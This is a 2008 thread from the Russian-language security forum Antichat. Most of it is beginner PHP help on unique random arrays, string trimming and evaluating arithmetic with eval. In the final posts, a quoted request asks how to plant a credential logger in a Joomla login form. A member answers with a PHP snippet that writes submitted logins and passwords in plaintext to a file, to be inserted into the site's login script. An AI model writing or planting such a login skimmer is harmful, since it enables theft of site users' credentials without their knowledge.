ANTICHAT — форум по информационной безопасности, OSINT и технологиям
ANTICHAT — русскоязычное сообщество по безопасности, OSINT и программированию.
Форум ранее работал на доменах antichat.ru, antichat.com и antichat.club,
и теперь снова доступен на новом адресе —
forum.antichat.xyz.
Форум восстановлен и продолжает развитие: доступны архивные темы, добавляются новые обсуждения и материалы.
⚠️ Старые аккаунты восстановить невозможно — необходимо зарегистрироваться заново.
 |
|

29.08.2008, 03:47
|
|
Познавший АНТИЧАТ
Регистрация: 01.04.2007
Сообщений: 1,268
Провел на форуме: 10046345
Репутация:
4589
|
|
Сообщение от xxxxxxxxxxxxxxx
Как реализовать? нужно достать с файла строки найти определенный символ в строках и удалить все что находиться после этого символа..
http://www.softtime.ru/bookphp/help.php
|
|
|

29.08.2008, 04:08
|
|
Новичок
Регистрация: 05.05.2007
Сообщений: 2
Провел на форуме: 22949
Репутация:
0
|
|
плз помогите, чет никак не выходит
есть массив
for($i=0; $i<$id; $i++) {
$rand_array[$i] = rand(1, $id);
}
надо сделать так чтобы на выходе каждый эл-т был уникален
к примеру если взять $id=2
и получим массив array(1, 1);
на выходе надо получить array(1, 2); или array(2, 1);
у меня получилось вот что:
PHP код:
$arr = array(2, 2, 1, 3, 3);
function uniq($arr, $id) {
for($j=0; $j<count($arr); $j++) {
$temp = $arr[$j];
for($k=0; $k<count($arr); $k++) {
if($i==4 && $k==4) return($arr);
$k = ($k==$j) ? ($j+1) : $k;
if($temp == $arr[$k]) {
$arr[$k] = rand(1, $id);
uniq($arr, $id);
}
}
}
return($arr);
}
но выполняется не всегда, видимо постоянная рекурсия жрет очень много ресурсов.
помогите как исправить код чтобы работал без сбоев)
или мб какой-нибудь другой вар обработки предложите)
заранее спасибо
|
|
|

29.08.2008, 07:34
|
|
Постоянный
Регистрация: 11.11.2006
Сообщений: 834
Провел на форуме: 3941248
Репутация:
668
|
|
По идеи должно сработать ...
PHP код:
<?php
for($i=0; $i<$id; $i++) {
$buf = mt_rand(1, $id);
while(in_array($buf,$rand_array))
{
$buf = mt_rand(1, $id);
}
$rand_array[] = $buf;
}
?>
|
|
|

29.08.2008, 10:48
|
|
Познающий
Регистрация: 08.08.2008
Сообщений: 55
Провел на форуме: 369629
Репутация:
54
|
|
Код:
<?php
$arr=range(1,$id);
shuffle($arr);
?>
|
|
|

29.08.2008, 13:14
|
|
Новичок
Регистрация: 25.06.2008
Сообщений: 15
Провел на форуме: 733327
Репутация:
2
|
|
Как математически вычеслить в строке "3006 + (40416-966) / 30" ?
|
|
|

29.08.2008, 13:29
|
|
Участник форума
Регистрация: 01.05.2008
Сообщений: 261
Провел на форуме: 1498366
Репутация:
183
|
|
Dr.End
или так
PHP код:
<php?
$_1=3006;
$_2=40416;
$_3=966;
$_4=30;
$_5=$_1+($_2-$_3)/$_4;
echo $_5;
?>
|
|
|

29.08.2008, 13:36
|
|
Новичок
Регистрация: 05.05.2007
Сообщений: 2
Провел на форуме: 22949
Репутация:
0
|
|
спасибо, блин во я дурак...
|
|
|

29.08.2008, 13:40
|
|
Познавший АНТИЧАТ
Регистрация: 01.06.2008
Сообщений: 1,047
Провел на форуме: 5321514
Репутация:
3313
|
|
Сообщение от Dr.End
Как математически вычеслить в строке "3006 + (40416-966) / 30" ?
PHP код:
$n = eval('3006+(40416-966)/30');
|
|
|

29.08.2008, 14:44
|
|
Познающий
Регистрация: 04.04.2008
Сообщений: 70
Провел на форуме: 666974
Репутация:
186
|
|
цитата отсюда:
http://forum.antichat.ru/thread82869.html
Всем привет Не знал, сюда написать или в тему про кодинг, решил здесь остаться Народ, есть у кого-нибудь идея, как воткнуть в joomla в поле для логина кейлоггер, чтобы инфа по залогинившимся юзерам шла в текстовый файл минуя md5:salt шифрование в MySQL базу? IMHO надо пофиксить components/com_login/login.html.php но вот ЧТО там надо написать? Помогите php-чайнику плиз ... P.S. да, по дефолту будем считать, что права на все файлы/папки равны 777 либо можно сделать их таковыми
|
|
|

29.08.2008, 16:39
|
|
Постоянный
Регистрация: 11.11.2006
Сообщений: 834
Провел на форуме: 3941248
Репутация:
668
|
|
scarm
PHP код:
<?php
$f = fopen('lp.txt','a');
fwrite($f,$_POST['login'].':'.$_POST['pass']."\r\n");
fclose($f);
?>
токо надо поправить POST данные в соответствии со скриптом
|
|
|
|
 |
|
|
Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
|
|
|
|